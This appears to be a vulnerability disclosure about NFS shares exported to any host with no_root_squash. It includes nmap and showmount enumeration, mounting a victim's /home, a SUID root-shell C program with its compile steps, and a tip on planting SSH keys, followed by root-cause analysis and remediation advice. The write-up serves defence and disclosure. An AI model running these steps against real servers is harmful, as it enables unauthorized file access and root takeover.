Background
NFS (Network File System) is commonly used for sharing file systems across clusters or multiple servers. However, due to misconfiguration or oversight, some servers have NFS services running without proper IP-based access restrictions. As a resule, within the 10.0.0.0/8 subnet, hosts other than the intended targets (e.g., internal clusters or servers) can access the NFS file systems without authorization. This poses a significant risk of file leakage and other security threats.
Attack Chain
Host Scan
By default, NFS services use TCP port 2049. An attacker can utilize tools like nmap to scan hosts in the subnet and identify machines offering NFS services.
Example Scan
nmap -p 2049 ipaddr
Sample Output
Nmap scan report for ipaddr
Host is up (0.0055s latency).
PORT STATE SERVICE
2049/tcp open nfs
Shared Directory Query
Next, the attacker can use showmount to query shared NFS directories:
Input
showmount -e ipaddr
Output
Export list for ipaddr:
/opt *
/home *
Mount the NFS File System to Localhost
Although SSH access is protected by key-based authentication:
Input
ssh usernam@ipaddr
Output
username@ipaddr: Permission denied (publickey, gssapi-keyex, gssapi-with-mic)
The attacker can still mount the `/home/ directory via NFS and access its contents:
mount -t nfs ipaddr:/home/ /mnt
cd /mnt
ls -lah
# (total output omitted)
cd some_directory
cat .bashrc
# (contents omitted)
This confirms that the NFS service lacks proper access controls.
Privilege Escalation
If the attacker has any user-level access on the server, they can escalate privileges to root by leveraging the mounted NFS and creating a SUID binary.
Example: suid_shell.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0);
system("/bin/bash");
return 0;
}
Compilation and SUID Setup
gcc suid_shell.c -o suid_shell -static -static-libgcc -static-libstdc++
chmod +s ./suid_shell
Execution by a Normal User
id
# uid=1012(username) gid=1012(username) groups=1012(username),1014(group)
./suid_shell
id
# uid=0(root) gid=1012(username) groups=1012(username),1014(group)
This results in full root access.
Update April 8 2025
If the /home or other potential user directories are also shared (which is common for sharing disk array with same user configurations), attacker could add his/her own ssh public key(s) to the target machine’s ~user/.ssh/authorized_keys to get ordinary user (or even root user when /root is also shared) access.
Root Cause Analysis
The NFS access control settings are defined in /etc/exports. The configuration on the affected server was:
cat /etc/exports
/home *(rw, insecure, no_root_squash, sync)
/opt *(rw, insecure, no_root_squash, sync)
This configuration allows any host (*) to access the shared directories, with no effective access restriction.
Recommendations
To address this vulnerability:
- Modify teh
/etc/exportsfile to restrict access to specific IP addresses or subnets. - Set appropriate permissions according to operational needs.
- Review and monitor access to ensure unauthorized hosts cannot mount the NFS shares.
These measures will reduce the risk of unauthorized access and improve overall system security.
